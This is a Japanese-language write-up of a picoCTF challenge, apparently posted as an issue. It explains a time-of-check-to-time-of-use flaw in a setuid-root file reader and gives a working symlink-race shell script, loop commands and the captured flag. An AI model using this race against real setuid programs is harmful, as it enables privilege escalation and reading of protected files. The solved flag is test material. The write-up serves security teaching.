Open roaris opened 3 months ago
$ ssh ctf-player@saturn.picoctf.net -p 62289
ctf-player@pico-chall$ ls -al
total 36
drwxr-xr-x 1 ctf-player ctf-player 41 Apr 30 18:27 .
drwxr-xr-x 1 root root 24 Aug 4 2023 ..
-rw------- 1 ctf-player ctf-player 5 Apr 30 18:27 .bash_history
drwx------ 2 ctf-player ctf-player 34 Apr 30 18:27 .cache
-rw-r--r-- 1 root root 67 Aug 4 2023 .profile
-rw------- 1 root root 32 Aug 4 2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 2023 src.cpp
-rwsr-xr-x 1 root root 19016 Aug 4 2023 txtreader
flag.txtは読み取り権限がない
ctf-player@pico-chall$ cat flag.txt
cat: flag.txt: Permission denied
txtreaderというバイナリがある 所有者の実行権限がsになっているので、setuidが設定されている 所有者がrootなので、ctf-playerであってもtxtreaderはrootとして実行される
txtreaderを使ってもflag.txtは読み取れない
ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file
src.cppがソースコードらしい
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
st_uid(所有者のユーザID)とgetuid(実ユーザID)が一致しない場合はエラーとなる getuidで取得されるのは実ユーザIDである、というのが重要である setuidが設定されたバイナリを動かすと、実行ユーザIDはバイナリの所有者になるが、実ユーザIDはバイナリを実行したユーザのままである(https://www.khstasaba.com/?p=454)
dummyというファイルを用意しておく
linkという名前のシンボリックリンクを作成し、参照先をdummyとflag.txt交互に切り替えるようにするようなシェルスクリプトを作成する
viがないので、echoコマンドを使う
fオプションをつけると、linkの上書きを可能になる(fオプションをつけないと、ln: failed to create symbolic link 'link': File exists
となる) また、参照先をflag.txtとするようなハードリンクは作成出来ない(ln: failed to create hard link 'link' => 'flag.txt': Operation not permitted
)
st_uidとgetuidの比較を行う時に、参照先がdummyなら、エラーにならずにファイルの読み取りに進む
ファイルの読み取り時に、参照先がflag.txtなら、setuidによりflag.txtを読み取ることが出来る
ctf-player@pico-chall$ touch dummy
ctf-player@pico-chall$ echo "#/bin/bash
> while true
> do
> ln -sf dummy link
> ln -sf flag.txt link
> done" > exploit.sh
ctf-player@pico-chall$ cat exploit.sh
#/bin/bash
while true
do
ln -sf dummy link
ln -sf flag.txt link
done
実行権限を付与して、バックグラウンドで動作させる
ctf-player@pico-chall$ chmod +x exploit.sh
ctf-player@pico-chall$ ./exploit.sh &
あとは、./txtreader link
を複数回実行すれば、そのうちフラグが出てくるのだが、なかなか出てこなかったので、whileで実行する
ctf-player@pico-chall$ while true; do ./txtreader link 2>/dev/null; done
picoCTF{ToctoU_!s_3a5y_f482a247}
picoCTF{ToctoU_!s_3a5y_f482a247}
picoCTF{ToctoU_!s_3a5y_f482a247}
...
https://play.picoctf.org/practice/challenge/380